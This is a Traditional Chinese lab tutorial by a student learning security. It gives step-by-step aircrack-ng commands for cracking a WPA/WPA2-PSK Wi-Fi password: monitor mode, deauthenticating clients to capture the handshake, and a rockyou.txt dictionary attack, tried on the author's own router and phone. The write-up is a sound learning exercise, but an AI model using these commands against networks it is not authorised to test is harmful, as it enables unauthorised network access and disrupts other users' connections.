# 使用aircrack-ng暴力破解WPA/WPA2-PSK金鑰 資安新手學習中,為了讓學習更有印象,所以開始把做的lab寫成教學文,參考大量網路教學文,可以在reference中參考。 ## Description 老師暑假派給我研究WPA2,要破解wifi當然先從最簡單的PSK金鑰開始 aircrack-ng是比較有名的暴力破解工具 此篇為使用aircrack-ng來破解wifi密碼 ! ## TOOL * virtualbox with kali * usb wifi adapter (MERCUSYS N300 MW300UM) * 我的手機 * wifi router ## 流程 因為有些沒有截圖,但又懶得再重run一次。 所以先用敘述的,大部分的步驟跟reference中一模一樣,可以參考下面。 第一步,我們先將之後要用到的字典檔解壓縮 (如果你非第一次使用kali,之前解壓縮過了就可以跳過此步驟) ``` gunzip /usr/share/wordlists/rockyou.txt.gz ``` 首先需要先把無線網卡接到虛擬機內 把無線網卡轉到監聽模式(並不是每個usb adapter都支援,需要注意一下) ``` sudo airmon-ng start wlan0 ``` 先把一些網卡介面的進程殺掉,因為會干擾到監聽router ``` sudo airmon-ng check kill ``` 掃描附近的wifi ``` sudo airodump-ng wlan0 ``` 將要竊取的wifi的BSSID和channel複製後,就可以 `ctrl+c` 了 接著就用以下指令開始監聽此router,他會記錄這個wifi的所有封包並寫檔 (請將<xxx>內的替換成你的data) ``` sudo airodump-ng --bbsid <your bbsid> --channel <your channel> --write <紀錄所有封包的檔名> wlan0 ``` ![](https://i.imgur.com/SLwaKcL.png) 然後再開啟一個終端機(這時候請將你的手機連那台router的wifi並且開啟自動連線) 使用以下指令,不斷的斷開所有連接那台router裝置wifi的連線 ``` sudo aireplay-ng --deauth <要斷開幾次> -a <your bbsid> wlan0 ``` ![](https://i.imgur.com/jYS7HBw.png) 如果使用者有打開自動連線的話,他就會自己再連線一次。 這樣我們就能抓到WPA handshake的封包 執行完成並且另一個airodump視窗有顯示 WPA handshake: <your bbsid> 字樣,就可以關閉aireplay視窗 沒有,就只能一直反覆執行replay等待有人上鉤。 將剛剛抓取到的所有封包的紀錄檔(.cap),使用wordlists裡的字典檔暴力破解。 ``` sudo aircrack-ng <紀錄所有封包的檔名>.cap -w /usr/share/wordlists/rockyou.txt ``` ![](https://i.imgur.com/PF2yp2E.png) 他是原理是將原本驗證的明文資料用字典檔裡的爛密碼,一個一個加密並比對剛剛截取到的WPA handshake加密封包 如果一樣就代表WPA-PSK金鑰為字典檔裡的那個密碼 所以並不是執行以上指令就能破解每個WPA-PSK金鑰 破解依靠的是字典檔的強大,要是使用者設定的密碼比較複雜可能就破解不出來了 (像是下圖破解出密碼為00000000,爛透了) ![](https://i.imgur.com/y4tMhbZ.png) 最後,當所有都執行完成了,記得將無線網路介面卡的監聽模式關掉 ``` sudo airmon-ng stop wlan0 systemctl restart NetworkManager //重啟網路管理員 ``` # Reference * [Crack WPA/WPA2 WiFi Passwords using Aircrack-ng & Kali Linux](https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/)